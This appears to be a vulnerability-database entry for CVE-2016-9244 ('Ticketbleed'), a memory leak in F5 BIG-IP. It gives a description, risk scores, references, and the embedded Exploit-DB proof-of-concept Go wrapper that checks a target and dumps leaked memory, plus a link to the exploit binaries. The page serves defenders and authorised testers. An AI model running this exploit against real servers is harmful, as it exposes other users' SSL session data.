CVE-2016-9244
high
CVSS v3
7.5
CVSS v4 NEW
β
VIR risk
8.5
Description
A BIG-IP virtual server configured with a Client SSL profile that has the non-default Session Tickets option enabled may leak up to 31 bytes of uninitialized memory. A remote attacker may exploit this vulnerability to obtain Secure Sockets Layer (SSL) session IDs from other sessions. It is possible that other data from uninitialized memory may be returned as well.
Predictions
Exploit likelihood
83%
Patch ETA
β
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or β if you've already worked around this in production β publish your fix to the community-verified tier.
β Propose a mitigation on Community β Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
F5 BIG-IP 11.6 SSL Virtual Server - 'Ticketbleed' Memory Disclosure
Source code queued for fetch β refresh in a moment.
F5 BIG-IP SSL Virtual Server - 'Ticketbleed' Memory Disclosure
/*
# Exploit Title: [Ticketbleed (CVE-2016-9244) F5 BIG-IP SSL virtual server Memory Leakage]
# Date: [10.02.2017]
# Exploit Author: [Ege BalcΓΒ±]
# Vendor Homepage: [https://f5.com/]
# Version: [12.0.0 - 12.1.2 && 11.4.0 - 11.6.1]
# Tested on: [Multiple]
# CVE : [CVE-2016-9244]
BUILD:
go get github.com/EgeBalci/Ticketbleed
go build Ticketbleed.go
USAGE:
./ticketbleed <options> <ip:port>
OPTIONS:
-o, --out Output filename for raw memory
-s, --size Size in bytes to read
-h, --help Print this message
*/
package main
import "github.com/EgeBalci/Ticketbleed"
import "strconv"
import "strings"
import "fmt"
import "os"
var OutputFile string = ""
var BleedSize int = 0
func main() {
ARGS := os.Args[1:]
if len(ARGS) < 1 || len(ARGS) > 5{
fmt.Println(Help)
os.Exit(1)
}
for i := 0; i < len(ARGS); i++{
if ARGS[i] == "-h" || ARGS[i] == "--help"{
fmt.Println(Help)
os.Exit(1)
}
if ARGS[i] == "-o" || ARGS[i] == "--out"{
OutputFile = ARGS[i+1]
}
if ARGS[i] == "-s" || ARGS[i] == "--size"{
Size,err := strconv.Atoi(ARGS[i+1])
if err != nil {
fmt.Println("[-] ERROR: Invalid size value !")
os.Exit(1)
}
if Size < 0 {
fmt.Println("[-] ERROR: Size can't be smaller than 0")
os.Exit(1)
}else{
BleedSize = Size
}
}
}
if OutputFile != "" {
File, FileErr := os.Create(OutputFile)
if FileErr != nil {
fmt.Println("[-] ERROR: While creating output file !")
os.Exit(1)
}
File.Close()
fmt.Println("[*] Output file: "+OutputFile)
}
VulnStatus := Ticketbleed.Check(ARGS[0]) // First check if it's vulnerable
fmt.Println(VulnStatus)
if strings.Contains(VulnStatus, "[+]") {
go Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // With using multiple threads it is easyer to move on stack
Ticketbleed.Exploit(ARGS[0], OutputFile, (BleedSize/2)) // Othervise server echoes back alot of duplicate value
}
}
var Help string = `
Γ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββ Γ’βΛΓ’βΛΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββ Γ’βΛΓ’βΛ Γ’ββΓ’βΛΓ’ββ¬Γ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββ Γ’ββΓ’ββΓ’ββΓ’ββ Γ’βΛΓ’βΛΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’βΛ Γ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’βΛ Γ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββ
Γ’ββ Γ’βΛΓ’βΛΓ’ββ Γ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’ββ¬ Γ’ββ¬Γ’βΛ Γ’βΛΓ’βΛΓ’ββΓ’βΛΓ’ββ Γ’ββΓ’βΛ Γ’ββ¬Γ’ββ Γ’βΛΓ’βΛΓ’ββ Γ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββΓ’βΛ Γ’ββ¬ Γ’ββΓ’βΛ Γ’ββ¬ Γ’ββΓ’βΛΓ’βΛΓ’ββ¬ Γ’βΛΓ’βΛΓ’βΕ
Γ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’ββΓ’ββΓ’ββΓ’βΛ Γ’ββ Γ’ββΓ’βΛΓ’βΛΓ’βΛΓ’ββΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’βΛ Γ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’βΛ Γ’ββΓ’βΛΓ’βΛΓ’βΛ Γ’ββΓ’βΛΓ’βΛ Γ’βΛΓ’βΕ
Γ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββΓ’ββΓ’ββΓ’ββΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββΓ’ββΓ’βΛΓ’βΛ Γ’βΛΓ’ββ Γ’ββΓ’ββΓ’βΛ Γ’ββΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββΓ’βΛΓ’ββ¬ Γ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββΓ’ββΓ’βΛ Γ’ββ Γ’ββΓ’ββΓ’βΛ Γ’ββ Γ’ββΓ’ββΓ’βΛΓ’ββ Γ’βΕ
Γ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’βΛΓ’ββ¬ Γ’ββΓ’ββΓ’βΛΓ’βΛΓ’ββ Γ’βΛΓ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββ Γ’ββΓ’βΛΓ’βΛΓ’ββ Γ’ββ Γ’ββΓ’ββΓ’βΛ Γ’ββ¬Γ’βΛΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’βΛΓ’βΛΓ’ββ
Γ’ββ Γ’ββΓ’ββ Γ’ββΓ’ββ Γ’ββ Γ’ββΓ’ββ Γ’ββ Γ’ββΓ’ββ Γ’ββΓ’ββ Γ’ββΓ’ββΓ’ββΓ’ββ Γ’ββΓ’ββ Γ’ββ Γ’ββ Γ’ββΓ’ββ Γ’ββΓ’ββΓ’ββΓ’βΛΓ’βΛΓ’βΛΓ’ββ¬Γ’ββΓ’ββ Γ’ββΓ’ββΓ’ββ Γ’ββΓ’ββΓ’ββ Γ’ββΓ’ββ Γ’ββΓ’ββΓ’ββ Γ’ββΓ’ββ Γ’ββ Γ’ββΓ’ββΓ’ββ Γ’ββ
Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββΓ’ββ Γ’ββΓ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββΓ’ββΓ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ
Γ’ββ Γ’ββ Γ’ββΓ’ββ Γ’ββ Γ’ββΓ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ
Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ Γ’ββ
Γ’ββ Γ’ββ Γ’ββ
Author: Ege Balci
Github: github.com/EgeBalci
USAGE:
./ticketbleed <ip:port> <options>
OPTIONS:
-o, --out Output filename for raw memory
-s, --size Size in bytes to read
-h, --help Print this message
`
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41298.zipApplication impact
References
- http://packetstormsecurity.com/files/141017/Ticketbleed-F5-TLS-Information-Disclosure.html
- http://www.securityfocus.com/bid/96143
- http://www.securitytracker.com/id/1037800
- https://blog.filippo.io/finding-ticketbleed/
- https://filippo.io/Ticketbleed/
- https://github.com/0x00string/oldays/blob/master/CVE-2016-9244.py
- https://support.f5.com/csp/article/K05121675
- https://www.exploit-db.com/exploits/41298/
- http://packetstormsecurity.com/files/141017/Ticketbleed-F5-TLS-Information-Disclosure.html
- http://www.securityfocus.com/bid/96143
- http://www.securitytracker.com/id/1037800
- https://blog.filippo.io/finding-ticketbleed/
- https://filippo.io/Ticketbleed/
- https://github.com/0x00string/oldays/blob/master/CVE-2016-9244.py
- https://support.f5.com/csp/article/K05121675
- https://www.exploit-db.com/exploits/41298/
CWEs
CWE-200
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.